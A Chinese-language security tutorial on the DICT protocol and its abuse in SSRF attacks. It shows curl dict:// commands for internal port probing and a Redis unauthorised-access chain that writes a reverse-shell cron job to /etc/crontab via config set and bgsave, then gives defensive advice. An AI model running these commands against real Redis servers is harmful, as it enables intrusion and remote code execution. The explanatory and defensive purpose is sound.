基础知识《DICT协议》
一、DICT协议基础
-
定义与用途
DICT(词典网络协议)是一种基于TCP的应用层协议,设计用于通过客户端-服务器模式高效检索字典数据。其核心目标是提供比传统协议(如Webster protocol)更灵活的数据访问方式。默认使用2628端口,支持命令如DEFINE
(查询单词定义)、SHOW DB
(列出可用数据库)等。- 协议格式:
dict://serverip:port/命令:参数
,请求末尾自动补上\r\n
(CRLF,回车并换行),简化命令构造。
- 协议格式:
-
基本命令示例
# 查询所有数据库中的单词定义 DEFINE * hello\r\n # 列出服务器支持的数据库 SHOW DB\r\n
服务器响应以状态码开头(如
150
表示成功检索定义),后跟具体数据。
二、DICT协议在网络安全中的利用
-
SSRF攻击场景
当攻击者无法使用Gopher协议时,DICT协议常作为替代方案,用于探测内网服务和执行远程命令:- 端口探测:
若返回类似curl dict://192.168.0.67:6379
-ERR
的Redis错误信息,可确认目标为Redis服务并开放6379端口。 - 指纹识别:通过响应内容判断服务类型(如MySQL、Redis)。
- 端口探测:
-
Redis未授权攻击
条件:Redis未设置密码认证。
攻击步骤:
3. 写入恶意计划任务(需编码避免空格分割):# 十六进制编码反弹Shell命令 curl dict://目标IP:6379/set:key:\"\x0a\x2a\x20...\x0a\"
- 修改Redis持久化路径:
curl dict://目标IP:6379/config:set:dir:/etc/ curl dict://目标IP:6379/config:set:dbfilename:crontab
- 触发保存:
Redis会将恶意命令写入curl dict://目标IP:6379/bgsave
/etc/crontab
,实现定时任务反弹Shell。
- 修改Redis持久化路径:
-
局限性 :
- 单命令限制:DICT每次仅支持单条命令,无法维持会话状态,需多次请求完成攻击链。
- 依赖未授权访问:若Redis配置密码,DICT无法通过多次认证执行连续操作。
三、防御建议
-
服务加固
- Redis配置:启用
requirepass
设置强密码,禁用高危命令(如FLUSHALL
、MODULE
)。 - 网络隔离:限制Redis端口(6379)仅对可信IP开放,避免暴露在公网。
- Redis配置:启用
-
输入过滤与监控
- 协议黑名单:在Web应用中过滤
dict://
请求,防止SSRF漏洞利用。 - 日志审计:监控异常DICT协议请求,尤其是对内网服务的探测行为。
- 协议黑名单:在Web应用中过滤
-
编码防御
对用户输入的特殊字符(如空格、换行符)进行转义或过滤,防止命令注入。